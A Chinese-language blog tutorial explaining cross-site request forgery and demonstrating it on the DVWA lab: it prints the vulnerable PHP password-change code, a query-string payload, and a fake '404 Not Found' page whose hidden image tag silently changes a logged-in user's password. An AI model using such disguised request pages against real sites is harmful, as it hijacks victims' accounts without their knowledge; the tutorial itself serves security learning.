vlambda博客
学习文章列表

Web安全(六)- 跨站请求伪造CSRF


01 站伪造CSRF

跨站请求伪造(Cross Site Request Forgery,CSRF),和XSS有些相似,都是跨站攻击,不攻击服务器端而攻击正常访问网站的用户。XSS 是通过向用户前端注入恶意代码来达到劫持用户行为的目的。而 CSRF 的本质是冒充用户身份进行非法访问

02  站伪造CSRF原攻击理
受信站点 A 是一个存在 CSRF 漏洞的网站,用户在登录该受信站点 A 后,在本地生成该站的 Cookie。恶意站点 B 是攻击者针对站点 A 的 CSRF 漏洞而构造的一个存在 CSRF 利用代码页面的网站,当用户在没有登出站点 A 的情况下访问站点 B 的恶意网页时,用户浏览器会在用户不知情的情况下向站点 A 发送一个 HTTP 请求,由于用户浏览器带有站点 A 的 Cookie 信息,因此站点 A 会认为该请求是用户的一个合法请求,从而执行相应的动作。这样,一次 CSRF 攻击就完成了。

03  站伪造CSRF实例

以DVWA中的例子来展示

Web安全(六)- 跨站请求伪造CSRF
看下源码:
<?php if( isset( $_GET[ 'Change' ] ) ) {  // Get input  $pass_new = $_GET[ 'password_new' ];     $pass_conf = $_GET[ 'password_conf' ];  // Do the passwords match?  if( $pass_new == $pass_conf ) {  // They do!  $pass_new = mysql_real_escape_string( $pass_new );         $pass_new = md5( $pass_new );  // Update the database  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";  $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>";     }  mysql_close(); ?>

当服务器接收到修改密码的请求后,会检查参数password_new与password_conf是否相等,相等的话就修改密码。构造payload:

?password_new=xiaobai&password_conf=xiaobai&Change=Change#

当用户点击了这个链接,密码就会被改成xiaobai

Web安全(六)- 跨站请求伪造CSRF

当然这种很明显的url链接,正常人也不会点,可以隐藏在其他地方,比如构造一个页面,404.html:

<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=xiaobai&password_conf=xiaobai&Change=Change#" border="0" style="display:none;"/><h1>404 Not Found<h1>

用户以为没找到资源,实际上已经遭受了CSRF攻击,并且把密码改成了xiaobai。